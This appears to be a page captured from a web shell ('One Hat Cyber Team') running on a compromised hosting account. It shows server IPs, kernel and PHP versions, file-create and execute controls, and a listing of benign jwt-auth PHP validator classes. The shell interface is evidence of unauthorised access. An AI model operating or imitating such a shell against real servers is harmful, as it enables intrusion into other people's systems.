One Hat Cyber Team
Your IP:
216.73.216.102
Server IP:
198.54.114.155
Server:
Linux server71.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server Software:
LiteSpeed
PHP Version:
5.6.40
Create File
|
Create Folder
Execute
Dir :
~
/
home
/
fluxyjvi
/
www
/
assets
/
images
/
View File Name :
Validators.tar
PayloadValidator.php 0000644 00000005504 15107322121 0010512 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Validators; use Tymon\JWTAuth\Claims\Collection; use Tymon\JWTAuth\Exceptions\TokenInvalidException; class PayloadValidator extends Validator { /** * The required claims. * * @var array */ protected $requiredClaims = [ 'iss', 'iat', 'exp', 'nbf', 'sub', 'jti', ]; /** * The refresh TTL. * * @var int */ protected $refreshTTL = 20160; /** * Run the validations on the payload array. * * @param \Tymon\JWTAuth\Claims\Collection $value * @return \Tymon\JWTAuth\Claims\Collection */ public function check($value) { $this->validateStructure($value); return $this->refreshFlow ? $this->validateRefresh($value) : $this->validatePayload($value); } /** * Ensure the payload contains the required claims and * the claims have the relevant type. * * @param \Tymon\JWTAuth\Claims\Collection $claims * @return void * * @throws \Tymon\JWTAuth\Exceptions\TokenInvalidException */ protected function validateStructure(Collection $claims) { if ($this->requiredClaims && ! $claims->hasAllClaims($this->requiredClaims)) { throw new TokenInvalidException('JWT payload does not contain the required claims'); } } /** * Validate the payload timestamps. * * @param \Tymon\JWTAuth\Claims\Collection $claims * @return \Tymon\JWTAuth\Claims\Collection * * @throws \Tymon\JWTAuth\Exceptions\TokenExpiredException * @throws \Tymon\JWTAuth\Exceptions\TokenInvalidException */ protected function validatePayload(Collection $claims) { return $claims->validate('payload'); } /** * Check the token in the refresh flow context. * * @param \Tymon\JWTAuth\Claims\Collection $claims * @return \Tymon\JWTAuth\Claims\Collection * * @throws \Tymon\JWTAuth\Exceptions\TokenExpiredException */ protected function validateRefresh(Collection $claims) { return $this->refreshTTL === null ? $claims : $claims->validate('refresh', $this->refreshTTL); } /** * Set the required claims. * * @param array $claims * @return $this */ public function setRequiredClaims(array $claims) { $this->requiredClaims = $claims; return $this; } /** * Set the refresh ttl. * * @param int $ttl * @return $this */ public function setRefreshTTL($ttl) { $this->refreshTTL = $ttl; return $this; } } TokenValidator.php 0000644 00000002177 15107322121 0010204 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Validators; use Tymon\JWTAuth\Exceptions\TokenInvalidException; class TokenValidator extends Validator { /** * Check the structure of the token. * * @param string $value * @return string */ public function check($value) { return $this->validateStructure($value); } /** * @param string $token * @return string * * @throws \Tymon\JWTAuth\Exceptions\TokenInvalidException */ protected function validateStructure($token) { $parts = explode('.', $token); if (count($parts) !== 3) { throw new TokenInvalidException('Wrong number of segments'); } $parts = array_filter(array_map('trim', $parts)); if (count($parts) !== 3 || implode('.', $parts) !== $token) { throw new TokenInvalidException('Malformed token'); } return $token; } } Validator.php 0000644 00000001643 15107322121 0007200 0 ustar 00 <?php /* * This file is part of jwt-auth. * * (c) Sean Tymon <tymon148@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Tymon\JWTAuth\Validators; use Tymon\JWTAuth\Contracts\Validator as ValidatorContract; use Tymon\JWTAuth\Exceptions\JWTException; use Tymon\JWTAuth\Support\RefreshFlow; abstract class Validator implements ValidatorContract { use RefreshFlow; /** * Helper function to return a boolean. * * @param array $value * @return bool */ public function isValid($value) { try { $this->check($value); } catch (JWTException $e) { return false; } return true; } /** * Run the validation. * * @param array $value * @return void */ abstract public function check($value); }